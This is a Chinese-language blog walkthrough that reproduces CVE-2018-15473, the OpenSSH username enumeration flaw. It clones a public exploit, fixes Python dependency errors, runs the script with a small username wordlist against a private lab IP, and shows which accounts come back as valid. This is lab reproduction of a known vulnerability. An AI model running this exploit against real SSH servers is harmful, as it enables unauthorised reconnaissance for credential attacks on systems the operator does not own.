CVE-2018-15473 漏洞复现（ssh用户名枚举）

OpenSSH 7.7及之前版本中存在安全漏洞
详细描述：OpenSSH（OpenBSD Secure Shell）是OpenBSD计划组所维护的一套用于安全访问远程计算机的连接工具。该工具是SSH协议的开源实现，支持对所有的传输进行加密，可有效阻止窃听、连接劫持以及其他网络级的攻击。
OpenSSH7.7及之前版本中存在安全漏洞，该漏洞源于程序会对有效的和无效的身份验证请求发出不同的响应。攻击者可通过发送特制的请求利用该漏洞枚举用户名称。

git clone https://github.com/Rhynorater/CVE-2018-15473-Exploit.git
cd CVE-2018-15473-Exploit
pip3 install -r requirements.txt
#-----------------------------------------------------------------
# 报错内容
WARNING: Running pip as the 'root' user can result in broken permissions and conflicting behaviour with the system package manager. 
It is recommended to use a virtual environment instead: https://pip.pypa.io/warnings/venv  
# 大意是希望我们在虚拟的环境下安装 
#-----------------------------------------------------------------
sudo apt-get update
sudo apt-get upgrade
sudo apt install python3.10-venv
cd CVE-2018-15473-Exploit
python3 -m venv tutorial-env
source tutorial-env/bin/activate


pip3 install -r requirements.txt
# 请反复尝试直至运行命令出现以下回显
#-----------------------------------------------------------------
Requirement already satisfied: paramiko in ./tutorial-env/lib/python3.10/site-packages (from -r requirements.txt (line 1)) (2.4.1)
Requirement already satisfied: pynacl>=1.0.1 in ./tutorial-env/lib/python3.10/site-packages (from paramiko->-r requirements.txt (line 1)) (1.5.0)
Requirement already satisfied: bcrypt>=3.1.3 in ./tutorial-env/lib/python3.10/site-packages (from paramiko->-r requirements.txt (line 1)) (3.2.2)
Requirement already satisfied: cryptography>=1.5 in ./tutorial-env/lib/python3.10/site-packages (from paramiko->-r requirements.txt (line 1)) (37.0.4)
Requirement already satisfied: pyasn1>=0.1.7 in ./tutorial-env/lib/python3.10/site-packages (from paramiko->-r requirements.txt (line 1)) (0.4.8)
Requirement already satisfied: cffi>=1.1 in ./tutorial-env/lib/python3.10/site-packages (from bcrypt>=3.1.3->paramiko->-r requirements.txt (line 1)) (1.15.1)
Requirement already satisfied: pycparser in ./tutorial-env/lib/python3.10/site-packages (from cffi>=1.1->bcrypt>=3.1.3->paramiko->-r requirements.txt (line 1)) (2.21)
#-----------------------------------------------------------------


python3 sshUsernameEnumExploit.py 
#-----------------------------------------------------------------
# 报错内容
/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/transport.py:169: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
Traceback (most recent call last):
  File "/root/CVE-2018-15473-Exploit/sshUsernameEnumExploit.py", line 24, in 
    import paramiko
  File "/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/__init__.py", line 23, in 
    from paramiko.client import (
  File "/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/client.py", line 37, in 
    from paramiko.hostkeys import HostKeys
  File "/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/hostkeys.py", line 23, in 
    from collections import MutableMapping
ImportError: cannot import name 'MutableMapping' from 'collections' (/usr/lib/python3.10/collections/__init__.py)
#-----------------------------------------------------------------

pip3 install paramiko==2.4.1      
# 请反复尝试直至运行命令出现以下回显
#-----------------------------------------------------------------
Requirement already satisfied: paramiko==2.4.1 in ./tutorial-env/lib/python3.10/site-packages (2.4.1)
Requirement already satisfied: pyasn1>=0.1.7 in ./tutorial-env/lib/python3.10/site-packages (from paramiko==2.4.1) (0.4.8)
Requirement already satisfied: bcrypt>=3.1.3 in ./tutorial-env/lib/python3.10/site-packages (from paramiko==2.4.1) (3.2.2)
Requirement already satisfied: pynacl>=1.0.1 in ./tutorial-env/lib/python3.10/site-packages (from paramiko==2.4.1) (1.5.0)
Requirement already satisfied: cryptography>=1.5 in ./tutorial-env/lib/python3.10/site-packages (from paramiko==2.4.1) (37.0.4)
Requirement already satisfied: cffi>=1.1 in ./tutorial-env/lib/python3.10/site-packages (from bcrypt>=3.1.3->paramiko==2.4.1) (1.15.1)
Requirement already satisfied: pycparser in ./tutorial-env/lib/python3.10/site-packages (from cffi>=1.1->bcrypt>=3.1.3->paramiko==2.4.1) (2.21)
#-----------------------------------------------------------------

python3 sshUsernameEnumExploit.py 
#-----------------------------------------------------------------
#报错内容 
/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/transport.py:169: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
Traceback (most recent call last):
  File "/root/CVE-2018-15473-Exploit/sshUsernameEnumExploit.py", line 24, in 
    import paramiko
  File "/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/__init__.py", line 23, in 
    from paramiko.client import (
  File "/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/client.py", line 37, in 
    from paramiko.hostkeys import HostKeys
  File "/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/hostkeys.py", line 23, in 
    from collections import MutableMapping
ImportError: cannot import name 'MutableMapping' from 'collections' (/usr/lib/python3.10/collections/__init__.py)
#-----------------------------------------------------------------


vi /root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/hostkeys.py
# 23行修改为
from _collections_abc import MutableMapping
#-----------------------------------------------------------------
python3 sshUsernameEnumExploit.py
/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/transport.py:169: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
usage: sshUsernameEnumExploit.py [-h] [--port PORT] [--threads THREADS]
                                 [--outputFile OUTPUTFILE]
                                 [--outputFormat {list,json,csv}]
                                 (--username USERNAME | --userList USERLIST)
                                 hostname
sshUsernameEnumExploit.py: error: the following arguments are required: hostname
#-----------------------------------------------------------------
# 这里要自己找到一个好的字典
cat sshUsername.txt
tom
root
abc
admin
user
zabbix
example
111111
nobody
12345
master
#-----------------------------------------------------------------       
# 执行以下命令就可以进行判断了
python3 sshUsernameEnumExploit.py --port 22 --userList sshUsername.txt  --outputFile test.csv --outputFormat csv 192.168.233.10

/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/transport.py:169: CryptographyDeprecationWarning: Blowfish has been deprecated
  'class': algorithms.Blowfish,
/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/kex_ecdh_nist.py:39: CryptographyDeprecationWarning: encode_point has been deprecated on EllipticCurvePublicNumbers and will be removed in a future version. Please use EllipticCurvePublicKey.public_bytes to obtain both compressed and uncompressed point encoding.
  m.add_string(self.Q_C.public_numbers().encode_point())
/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/kex_ecdh_nist.py:91: CryptographyDeprecationWarning: Support for unsafe construction of public numbers from encoded data will be removed in a future version. Please use EllipticCurvePublicKey.from_encoded_point
  self.Q_S = ec.EllipticCurvePublicNumbers.from_encoded_point(
/root/CVE-2018-15473-Exploit/tutorial-env/lib/python3.10/site-packages/paramiko/kex_ecdh_nist.py:103: CryptographyDeprecationWarning: encode_point has been deprecated on EllipticCurvePublicNumbers and will be removed in a future version. Please use EllipticCurvePublicKey.public_bytes to obtain both compressed and uncompressed point encoding.
  hm.add_string(self.Q_C.public_numbers().encode_point())
[+] Results successfully written to test.csv in CSV form.

┌──(tutorial-env)─(root㉿kali)-[~/CVE-2018-15473-Exploit]
└─# ls
Dockerfile          exampleOutput.txt          sshUsername.txt
exampleInput.txt    README.md                  test.csv
exampleOutput.csv   requirements.txt           tutorial-env
exampleOutput.json  sshUsernameEnumExploit.py
                                                                             
┌──(tutorial-env)─(root㉿kali)-[~/CVE-2018-15473-Exploit]
└─# cat test.csv 
Username, Valid
tom, False
root, True
abc, False
admin, False
user, False
zabbix, True
example, False
111111, False
nobody, True
12345, False
master, False

https://blog.csdn.net/weixin_43663238?type=blog

链接: 又是一个坑：Reading package lists… Done Building dependency
链接: Linux pip错误分析 （Running pip as the ‘root‘ user can result in broken permissions and conflict）
链接: pip/pip3使用豆瓣源加速安装软件
链接: Python关于ImportError: cannot import name ‘MutableMapping‘ （或者‘Iterable‘ ）from ‘collections‘